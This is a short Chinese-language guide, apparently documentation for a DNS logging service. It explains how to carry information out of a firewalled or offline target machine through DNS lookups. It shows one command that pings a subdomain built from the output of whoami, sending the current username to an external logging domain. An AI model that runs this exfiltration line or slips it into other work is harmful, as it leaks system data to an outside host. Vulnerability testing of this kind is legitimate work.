DNS记录
有如下几种情况:
- 目标机器无法访问外网,只能访问内网中的某DNS服务器(比如校园网等需要二次登陆的场景)
- 目标机器配置了防火墙,无法发送HTTP请求
我们可以使用DNS记录来传递一些信息。
例如,我们可以使用ping命令来传输信息:
ping -c1 `whoami`.675ba661.2m1.pw
在DNS记录列表中查看结果:
但是DNS记录还是有一定限制(如长度限制、大小写限制等),多用于探测漏洞是否存在。
如果需要传递信息,可以进行截断、编码等操作。之后可能会增加通过TXT记录传递信息的通道,敬请期待。